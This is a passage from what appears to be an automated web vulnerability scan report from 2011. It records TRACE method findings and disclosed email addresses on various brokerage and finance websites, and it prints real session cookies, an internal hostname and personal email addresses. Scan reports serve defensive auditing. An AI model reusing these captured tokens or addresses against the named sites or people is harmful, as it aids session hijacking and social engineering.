Host:	http://picasaweb.google.com
Path:	/

Request

TRACE / HTTP/1.0
Host: picasaweb.google.com
Cookie: e36fc3467e87cb38

Response

HTTP/1.0 200 OK
Expires: Thu, 08 Sep 2011 19:45:22 GMT
Date: Thu, 08 Sep 2011 19:45:22 GMT
Cache-Control: private, max-age=0, must-revalidate
Content-Type: message/http; charset=UTF-8
Content-Length: 1168
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

TRACE /errors/405 HTTP/1.1
Host: picasaweb.google.com
Cookie: e36fc3467e87cb38; _rtok=mxrPHmqFgflp; SID=DQAAAO8AAAAdw-kaWu-Fwov6yR3LF5btMP1jnbGP3lA1M5cAk-0Wck2mlABMlKMllxla9PLwToQ6Dzrhz-v1Lq7PQ2o3ThUVIxuB7SVIVJjmSOGo3UpjxZ2Ms-siayi9e5mR3fQNgCwvNMI1ZR5pi86UDX3RjSEUkvGudz_HwxzWhdk
...[SNIP]...

19.3. http://pixel.everesttech.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.everesttech.net
Path:	/

Request

TRACE / HTTP/1.0
Host: pixel.everesttech.net
Cookie: 270f5fad973cc4e0

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Vary: X-EF-Forwarded-For
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: pixel.everesttech.net
Cookie: 270f5fad973cc4e0; everest_g_v2=g_surferid~zqROZUBXyFQAAIdR; everest_session_v2=CeBOaRZ1-iwAAIdj
Connection: Keep-Alive
X-EF-Forwarded-For: 50.23.123.106

19.4. http://shared.websol.barchart.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shared.websol.barchart.com
Path:	/

Request

TRACE / HTTP/1.0
Host: shared.websol.barchart.com
Cookie: af3a561449ce484d

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:00 GMT
Server: Apache/2.2.9 (Fedora)
Content-Type: message/http
Via: 1.0 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Connection: close
Content-Language: en

TRACE / HTTP/1.1
Host: shared.websol.barchart.com
Cookie: af3a561449ce484d; WEBSOL_SERVER=balancer.websol02
Via: 1.0 websol.barchart.com (Apache/2.2.9)
X-Forwarded-For: 50.23.123.106
X-Forwarded-Host: shared.websol.barchart.com
X-Forwarded-Server: websol.barchart.com
Co
...[SNIP]...

19.5. http://tracking.hubspot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tracking.hubspot.com
Path:	/

Request

TRACE / HTTP/1.0
Host: tracking.hubspot.com
Cookie: 8af636642aef4f69

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:05:39 GMT
Server: Apache/2.2.6 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: tracking.hubspot.com
Cookie: 8af636642aef4f69

19.6. http://transworld.websol.barchart.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://transworld.websol.barchart.com
Path:	/

Request

TRACE / HTTP/1.0
Host: transworld.websol.barchart.com
Cookie: ea941de71c9367c2

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:59:56 GMT
Server: Apache/2.2.9 (Fedora)
Content-Type: message/http
Via: 1.0 websol.barchart.com (Apache/2.2.9)
P3P: CP="NON ADM OUR STP"
Connection: close
Content-Language: en

TRACE / HTTP/1.1
Host: transworld.websol.barchart.com
Cookie: ea941de71c9367c2; WEBSOL_SERVER=balancer.websol03
Via: 1.0 websol.barchart.com (Apache/2.2.9)
X-Forwarded-For: 50.23.123.106
X-Forwarded-Host: transworld.websol.barchart.com
X-Forwarded-Server: websol.barchart.com
...[SNIP]...

19.7. http://webstation.barchart.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://webstation.barchart.com
Path:	/

Request

TRACE / HTTP/1.0
Host: webstation.barchart.com
Cookie: baf08c115292306f

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:34:30 GMT
Server: Apache/2.2.15 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: webstation.barchart.com
Cookie: baf08c115292306f; PHPSESSID=l8d8m1qkadr5phrb94ttmb4st3

19.8. http://www.adventuresinsoftware.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adventuresinsoftware.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.adventuresinsoftware.com
Cookie: 514938ba4e8c67c1

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:45:19 GMT
Server: Apache/2.0.51 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.adventuresinsoftware.com
Cookie: 514938ba4e8c67c1

19.9. https://www.barchart.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.barchart.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.barchart.com
Cookie: 402be64437e5b595

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:43 GMT
Server: Apache/2.2.9 (Fedora) PHP/5.2.6
Content-Type: message/http
Via: 1.0 www.barchart.com (Apache/2.2.9)
Connection: close
Content-Language: en

TRACE / HTTP/1.1
Host: domu-12-31-38-02-31-81.compute-1.internal
Cookie: 402be64437e5b595
Via: 1.0 www.barchart.com (Apache/2.2.9)
X-Forwarded-For: 50.23.123.106
X-Forwarded-Host: www.barchart.com
X-Forwarded-Server: www.barchart.com
Connection: Keep-Alive

19.10. http://www.efutures.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.efutures.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.efutures.com
Cookie: 7f18bd9ed8f4d191

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:44 GMT
Server: Apache/2.0.52 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.efutures.com
Cookie: 7f18bd9ed8f4d191; Efutures=47a42fa17f407fb514b047c2a077e9e5

19.11. https://www.efutures.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.efutures.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.efutures.com
Cookie: 64f204a8d4fa250e

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:42:53 GMT
Server: Apache/2.0.52 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.efutures.com
Cookie: 64f204a8d4fa250e; Efutures=47a42fa17f407fb514b047c2a077e9e5; __utma=212738496.1761536259.1315527925.1315527925.1315527925.1; __utmc=212738496; __utmz=212738496.1315527925.1.1.utmgclid=CN_fipqwjqsCFUsaQgodfyAdwQ|utmccn
...[SNIP]...

19.12. http://www.farrdirect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.farrdirect.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.farrdirect.com
Cookie: 71403fe2698a1711

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:56 GMT
Server: Apache/2.0.52 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.farrdirect.com
Cookie: 71403fe2698a1711

19.13. http://www.interactivebrokers.co.uk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.co.uk
Path:	/

Request

TRACE / HTTP/1.0
Host: www.interactivebrokers.co.uk
Cookie: abc194bbb76b2972

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:59 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.interactivebrokers.co.uk
Cookie: abc194bbb76b2972

19.14. http://www.pfgbest.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pfgbest.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.pfgbest.com
Cookie: c5cb7d4776b4e906

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 Sep 2011 19:47:16 GMT
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Content-Type: message/http
Content-Length: 116

TRACE / HTTP/1.0
Host: www.pfgbest.com
Cookie: c5cb7d4776b4e906; ASPSESSIONIDACDDCDRR=LPBKIFEAAJGBGNFAMEHDOLLK

19.15. http://www.zumo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zumo.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www.zumo.com
Cookie: 3803aec37125ba68

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:49 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.zumo.com
Cookie: 3803aec37125ba68; 7f20aa1a045c396397e9b3acb81025ec=tsrnitma7b7tb9i84vm7cq9qf1

19.16. http://www2.daytrade4less.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.daytrade4less.com
Path:	/

Request

TRACE / HTTP/1.0
Host: www2.daytrade4less.com
Cookie: 364a472fe3d56ed

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:36:33 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www2.daytrade4less.com
Cookie: 364a472fe3d56ed

20. Email addresses disclosed previous next
There are 85 instances of this issue:

http://360.sorensonmedia.com/api/getPlayerData
http://360.sorensonmedia.com/redirector/fetchFile
https://account.optionsxpress.com/OpenAccount/Index
https://account.optionsxpress.com/inc/general.js
https://account.optionsxpress.com/inc/s_code.js
http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html
http://finance.yahoo.com/news/Primary-Petroleum-Present-iw-1675004773.html
http://ibkb.interactivebrokers.com/node/1071
http://ibkb.interactivebrokers.com/node/1132
http://images.google.com/support/bin/answer.py
http://maps.google.com/maps
http://translate.google.com/
http://www.efutures.com/account/submitapp.php
http://www.farrdirect.com/
http://www.google.com/advanced_search
http://www.google.com/finance
http://www.google.com/preferences
http://www.google.com/quality_form
http://www.google.com/reader/view/
http://www.google.com/support/websearch/bin/answer.py
http://www.google.com/webhp
http://www.interactivebrokers.com/download/en/ASX_ETF_March_09.pdf
http://www.interactivebrokers.com/download/en/ASX_IB_Options_March_17.pdf
http://www.interactivebrokers.com/download/en/ASX_Index_Futures_FO_March.pdf
http://www.interactivebrokers.com/download/en/CME_Trading_Related_Markets_Equities_Gold.pdf
http://www.interactivebrokers.com/download/en/ISE_FX_Greeks_121207.pdf
http://www.interactivebrokers.com/download/en/ISE_FX_Options.pdf
http://www.interactivebrokers.com/download/en/PHLX_IB012908jc.pdf
http://www.interactivebrokers.com/download/en/SGX-Asian_Option_opportunity.pdf
http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php
http://www.interactivebrokers.com/en/general/education/webinars.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/software/systemStatus.php
https://www.interactivebrokers.com/Universal/Templates/javascript/sha1.js
https://www.interactivebrokers.com/Universal/Templates/jquery.bgiframe.js
https://www.interactivebrokers.com/sso/Login
https://www.interactivebrokers.com/sso/Templates/javascript/sha1.js
http://www.optionsxpress.com/about_us/pricing_commissions.aspx
http://www.optionsxpress.com/inc/general.js
http://www.optionsxpress.com/inc/js/library.js
http://www.optionsxpress.com/inc/js/stats.js
https://www.optionsxpress.com/welcome.asp
http://www.pfgbest.com/common/js/script.aculo.us/dragdrop.js
http://www.pfgbest.com/common/js/script.aculo.us/prototype.js
http://www.pfgbest.com/link/
http://www.transworldfutures.com/
http://www.transworldfutures.com/Commodity.html
http://www.transworldfutures.com/about.html
http://www.transworldfutures.com/account-types.html
http://www.transworldfutures.com/accountstatement.html
http://www.transworldfutures.com/best_direct.html
http://www.transworldfutures.com/best_direct_MT4.html
http://www.transworldfutures.com/best_direct_web.html
http://www.transworldfutures.com/commission_rates.html
http://www.transworldfutures.com/commodity-education.html
http://www.transworldfutures.com/contactus.html
http://www.transworldfutures.com/course_introduction.html
http://www.transworldfutures.com/css/css.css
http://www.transworldfutures.com/css/cssMenu.css
http://www.transworldfutures.com/currenex.html
http://www.transworldfutures.com/customer_support.html
http://www.transworldfutures.com/disaster_recovery.html
http://www.transworldfutures.com/favicon.ico
http://www.transworldfutures.com/first_notice_last_trading_day.html
http://www.transworldfutures.com/free-papertrading.html
http://www.transworldfutures.com/fund_your_account.html
http://www.transworldfutures.com/glossary.html
http://www.transworldfutures.com/index.html
http://www.transworldfutures.com/intro_to_futures.html
http://www.transworldfutures.com/open-an-account.html
http://www.transworldfutures.com/privacy_notice.html
http://www.transworldfutures.com/pro_trader.html
http://www.transworldfutures.com/quotes.html
http://www.transworldfutures.com/simulated_trading.html
http://www.transworldfutures.com/strategy-exchange.html
http://www.transworldfutures.com/strategy-runner.html
http://www.transworldfutures.com/trading_exchanges.html
http://www.transworldfutures.com/trading_platforms.html
http://www.transworldfutures.com/vocabulary.html
http://www.transworldfutures.com/weather.html
http://www.transworldfutures.com/web.php

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

20.1. http://360.sorensonmedia.com/api/getPlayerData previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://360.sorensonmedia.com
Path:	/api/getPlayerData

Issue detail

The following email addresses were disclosed in the response:

ddudas@sorensonmedia.com
matt@cimagliaproductions.com

Request

GET /api/getPlayerData?vguid=7d285f50de540c4b64C9b74Y99dcc88d0ad6 HTTP/1.1
Host: 360.sorensonmedia.com
Proxy-Connection: keep-alive
Referer: http://static.cdn.360.sorensonmedia.com/1/flash/flowplayer-3.2.2.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AWSELB=7399391306302201EC8ED885C1DF301EBE94B9D3266A90D7C75A424550F489FD629C2C3ACAAE7C766E443396D53A4DBE988DB00D0CFDBC4B96568304D3BBF7D375BA252957

Response

HTTP/1.1 200 OK
cache-control: no-cache
Content-Type: text/javascript
Date: Thu, 08 Sep 2011 19:24:51 GMT
pragma: no-cache
Server: nginx/0.5.33
Connection: keep-alive
Content-Length: 13377

{
"media": {
"encodeDate": "2010-07-29 09:34:02",
"quickAccount": {
"showWelcomeScreen": false,
"username": "matt@cimagliaproductions.com",
"useProgressiveDownload": 0,
"disableFinalFrame": false,
"ratePlanExpirationDate": "2009-04-28 17:57:01",
"dateLastModified": "2009-04-28 17:57:01
...[SNIP]...
IsMBR=\"False\" Name=\"MPEG-4 Large\" OutputFormat=\"MP4OutputFormat\" SubOutputFormat=\"Adobe Flash 9+ (MP4)\" UsingCustomFilter=\"False\" Version=\"6.0\" Workflow=\"Web\\Destinations\\Sorenson 360\\ddudas@sorensonmedia.com\">
...[SNIP]...
<DefaultSettingsRecipientID Value=\"ddudas@sorensonmedia.com\"/>
...[SNIP]...
<BeachfrontDestination Name=\"Sorenson 360\" account=\"ddudas@sorensonmedia.com\"/>
...[SNIP]...

20.2. http://360.sorensonmedia.com/redirector/fetchFile previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://360.sorensonmedia.com
Path:	/redirector/fetchFile

Issue detail

The following email address was disclosed in the response:

support@sorensonmedia.com

Request

GET /redirector/fetchFile HTTP/1.1
Host: 360.sorensonmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 500 Internal Server Error
cache-control: no-cache
Content-Type: text/html; charset=utf-8
Date: Thu, 08 Sep 2011 19:46:59 GMT
pragma: no-cache
Server: nginx/0.5.33
Content-Length: 6271
Connection: Close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<ti
...[SNIP]...
<a href="mailto:support@sorensonmedia.com">support@sorensonmedia.com</a>
...[SNIP]...

20.3. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The following email address was disclosed in the response:

support@optionsXpress.com

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 86733
Content-Type: text/html; charset=utf-8
Expires: Thu, 08 Sep 2011 19:25:21 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
Set-Cookie: TLTHID=8BDB9C054DE94B794A725090608A94A2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:20 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title><link rel="sty
...[SNIP]...
<br>
Give us a call at (888) 280-8020, shoot us an email at support@optionsXpress.com or click on the live help link at the top of our Web site and we'll see what we can do to help.
</div>
...[SNIP]...

20.4. https://account.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following email address was disclosed in the response:

nbourgeois@optionsxpress.com

Request

Response

20.5. https://account.optionsxpress.com/inc/s_code.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/s_code.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /inc/s_code.js HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=758690FA4AB663400EE3B482D991146F

Response

HTTP/1.1 200 OK
Content-Length: 40455
Content-Type: application/x-javascript
Last-Modified: Tue, 07 Jun 2011 15:21:04 GMT
Accept-Ranges: bytes
ETag: "0b0f8832625cc1:fc8"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=BB264B664F313196CF1E8BBB91B4F086; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:21 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* global JS methods */
Array.prototype.indexOf = function (obj) {
   for (var i = 0; i < this.length; i++) {
       if (this[i] == obj) return i;
   }
   return -1;
}
Array.prototype.has = function (obj)
...[SNIP]...
=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"
+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"
+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id
...[SNIP]...

20.6. http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html

Issue detail

The following email addresses were disclosed in the response:

ebijas@princetonpartners.com
steve.markosky@pacer.com

Request

GET /news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

20.7. http://finance.yahoo.com/news/Primary-Petroleum-Present-iw-1675004773.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Primary-Petroleum-Present-iw-1675004773.html

Issue detail

The following email address was disclosed in the response:

mike@primarypetroleum.com

Request

Response

20.8. http://ibkb.interactivebrokers.com/node/1071 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ibkb.interactivebrokers.com
Path:	/node/1071

Issue detail

The following email address was disclosed in the response:

kbfeedback@interactivebrokers.com

Request

GET /node/1071 HTTP/1.1
Host: ibkb.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/en/p.php?f=customerService&ib_entity=llc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282; SESScc3db6cf713e4de10f22095af051cacd=d6c63baaaebc9a2f3da7e51c67a035ad; has_js=1; __utma=147369967.1088263884.1315529659.1315529659.1315529659.1; __utmb=147369967.1.10.1315529659; __utmc=147369967; __utmz=147369967.1315529659.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:53:59 GMT
Server: Apache
X-Powered-By: PHP/5.2.1
Last-Modified: Thu, 08 Sep 2011 19:53:59 GMT
ETag: "d6ce75020636e418de724febc6bcd315"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Length: 19306
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...
<input type="hidden" name="details[email_from_address]" id="edit-details-email-from-address" value="kbfeedback@interactivebrokers.com" />
...[SNIP]...

20.9. http://ibkb.interactivebrokers.com/node/1132 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ibkb.interactivebrokers.com
Path:	/node/1132

Issue detail

The following email address was disclosed in the response:

kbfeedback@interactivebrokers.com

Request

GET /node/1132 HTTP/1.1
Host: ibkb.interactivebrokers.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:53:14 GMT
Server: Apache
X-Powered-By: PHP/5.2.1
Last-Modified: Thu, 08 Sep 2011 19:53:14 GMT
ETag: "8e8ebfedd9c81cee4d9b62a219457068"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Content-Length: 27880
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...
<input type="hidden" name="details[email_from_address]" id="edit-details-email-from-address" value="kbfeedback@interactivebrokers.com" />
...[SNIP]...

20.10. http://images.google.com/support/bin/answer.py previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.google.com
Path:	/support/bin/answer.py

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /support/bin/answer.py HTTP/1.1
Host: images.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Date: Thu, 08 Sep 2011 19:45:20 GMT
Expires: Thu, 08 Sep 2011 19:45:20 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang=""
class="">
<head>
<pre style="font-size: 0;display: none;visibility: hidden;">

</pre>
<script
...[SNIP]...
<strong>test@fastdial.net</strong>
...[SNIP]...

20.11. http://maps.google.com/maps previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://maps.google.com
Path:	/maps

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET /maps HTTP/1.1
Host: maps.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:47:07 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: mfe
X-XSS-Protection: 1; mode=block
Connection: close

<!DOCTYPE html><html class="no-maps-mini" xmlns:v="urn:schemas-microsoft-com:vml"> <head> <meta content="text/html;charset=UTF-8" http-equiv="content-type"/> <meta content="Find local businesses, vie
...[SNIP]...
on(){m.prm&&m.prm()},Ua=function(a){y("m",function(){m.spn(a)})},Va=function(a){y("m",function(){m.spp(a)})};n("spn",Ua);n("spp",Va);Ca("gbd4",Ta);
if(_tvb("true",e)){var Wa={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh5.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};v.prf=Wa}
function Xa(){funct
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...
us/mapfiles/","/intl/en_us/mapfiles/","362b",0,,1,1,1,1,1,1,,,"http://cbk0.google.com",1,20,4096,,,,,,,,["rst","util"],["lt_c","pplhs","mg","stats"],,,1000,1,"maps_sv",4,,,1,,,"//gg.google.com/csi",0,"test@fastdial.net","",0,["http://khmdb0.google.com/kh?v=000006\x26","http://khmdb1.google.com/kh?v=000006\x26"],,"/maps/c",,,1,0,[["act_s",["act"]],["qopa",["act","qop","act_s"]],["ms",["info"]],["mv",["act"]],["cb_app
...[SNIP]...

20.12. http://translate.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://translate.google.com
Path:	/

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET / HTTP/1.1
Host: translate.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:41 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Language: en
X-Content-Type-Options: nosniff
Server: HTTP server (unknown)
X-XSS-Protection: 1; mode=block
Connection: close

<!DOCTYPE html><html><head><meta content="text/html; charset=UTF-8" http-equiv="content-type"><meta name=keywords content="translate, translations, translation, translator, machine translation, online
...[SNIP]...
on(){m.prm&&m.prm()},Ra=function(a){y("m",function(){m.spn(a)})},Sa=function(a){y("m",function(){m.spp(a)})};n("spn",Ra);n("spp",Sa);za("gbd4",Qa);
